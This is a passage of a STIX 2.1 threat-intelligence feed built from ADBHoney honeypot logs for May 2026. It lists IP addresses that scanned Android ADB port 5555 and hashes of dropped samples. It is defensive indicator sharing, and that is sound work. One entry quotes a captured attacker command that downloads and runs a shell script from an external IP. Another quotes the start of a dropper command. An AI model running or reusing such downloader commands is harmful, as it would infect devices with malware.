      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:00:10.000Z",
      "valid_until": "2026-06-02T14:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 65,
          "first_seen": "2026-05-02T21:56:57.000Z",
          "last_seen": "2026-05-24T00:40:21.000Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=UY; asn=6057; asn_org=Administracion Nacional de Telecomunicaciones; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--f0dd717d-c416-4735-8e67-de1e9d142653",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.50.255.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:00:10.000Z",
      "valid_until": "2026-06-02T14:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T14:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/e27b0606d96ca3e92cff83125137dba4c94d902b67086970ff49ce3ff241ed76.raw; last_seen=2026-05-01T13:54:00.451Z",
      "id": "indicator--84c2ee30-e779-41b6-a9fa-588df066ca4e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'e27b0606d96ca3e92cff83125137dba4c94d902b67086970ff49ce3ff241ed76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://83.168.110.191/cat.sh; sh cat.sh; curl http://83.168.110.191/cat.sh; sh cat.sh; wget http://83.168.110.191/cat.sh; sh c\"\n\nObserved in ADBHoney telemetry for 2026-05. events=1411 | first_seen=2026-05-02T11:23:01.000Z | last_seen=2026-05-31T21:57:56.668Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--a892d013-918e-46d4-b7e7-15e8ea66b643",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:00:10.000Z",
      "valid_until": "2026-06-02T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 1411,
          "first_seen": "2026-05-02T11:23:01.000Z",
          "last_seen": "2026-05-31T21:57:56.668Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T15:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/008061f90f26a3462294a1d5b02424fab50a32fc0aadc0a7b05dfc70cce4e023.raw; last_seen=2026-05-01T14:46:41.048Z",
      "id": "indicator--1068dbd8-cfd2-4987-853b-11ddb0cd9d1d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '008061f90f26a3462294a1d5b02424fab50a32fc0aadc0a7b05dfc70cce4e023']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-06T15:51:24.000Z | last_seen=2026-05-06T15:52:28.200Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--71bae21a-5139-4a9c-9584-5a709c03c3e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.234.199.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:00:10.000Z",
      "valid_until": "2026-06-02T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-06T15:51:24.000Z",
          "last_seen": "2026-05-06T15:52:28.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--889d01bc-c7a5-4179-be83-7022715816be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:00:10.000Z",
      "valid_until": "2026-06-02T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--6592e9e6-b693-49d3-ac17-8bbb1805adad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:00:10.000Z",
      "valid_until": "2026-06-02T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-07T15:49:00.000Z | last_seen=2026-05-07T15:50:02.466Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--2b4016ee-e7d6-490d-8bae-4d3c4aee8acf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.56.83.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:00:10.000Z",
      "valid_until": "2026-06-02T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-07T15:49:00.000Z",
          "last_seen": "2026-05-07T15:50:02.466Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T18:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=267 | first_seen=2026-05-07T08:55:09.000Z | last_seen=2026-05-24T00:41:00.999Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:00:09.000Z",
      "valid_until": "2026-06-02T18:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 267,
          "first_seen": "2026-05-07T08:55:09.000Z",
          "last_seen": "2026-05-24T00:41:00.999Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T20:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"pm list packages | grep -q \"com.dickboot.myapp\" && ps | grep -v grep | grep -q \"com.dickboot.myapp\" && echo \"[+] Already running\" || { mkdir -p /data/local/tmp/\"\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--8426e6d9-857f-446e-96e9-e46de84df6a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:00:10.000Z",
      "valid_until": "2026-06-02T20:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T22:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-02T15:34:13.000Z | last_seen=2026-05-03T12:37:44.361Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--6a89547a-2adc-4bac-a737-e768959d488d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '161.97.66.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:00:11.000Z",
      "valid_until": "2026-06-02T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-02T15:34:13.000Z",
          "last_seen": "2026-05-03T12:37:44.361Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T23:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--7cd29cf1-b1a8-44c4-aede-6f8d7d592b2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:00:10.000Z",
      "valid_until": "2026-06-02T23:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T00:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--c0e24cad-438a-4cf1-adfe-55ac6640e7cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.223.189.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:00:14.000Z",
      "valid_until": "2026-06-03T00:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T01:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-02T00:33:56.000Z | last_seen=2026-05-02T00:35:04.057Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b5f420c3-3465-4128-b498-84536fd876ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:00:10.000Z",
      "valid_until": "2026-06-03T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-02T00:33:56.000Z",
          "last_seen": "2026-05-02T00:35:04.057Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T01:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-02T00:35:45.000Z | last_seen=2026-05-02T00:40:45.604Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:00:10.000Z",
      "valid_until": "2026-06-03T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-02T00:35:45.000Z",
          "last_seen": "2026-05-02T00:40:45.604Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-02T03:49:36.000Z | last_seen=2026-05-18T15:20:58.359Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:00:05.000Z",
      "valid_until": "2026-06-03T04:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-02T03:49:36.000Z",
          "last_seen": "2026-05-18T15:20:58.359Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-02T03:48:17.000Z | last_seen=2026-05-02T03:49:23.952Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:00:05.000Z",
      "valid_until": "2026-06-03T04:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-02T03:48:17.000Z",
          "last_seen": "2026-05-02T03:49:23.952Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-02T06:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=26 | first_seen=2026-05-02T05:34:54.000Z | last_seen=2026-05-02T05:46:21.842Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--db713fa9-f38f-49db-a1f0-10be71522e52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
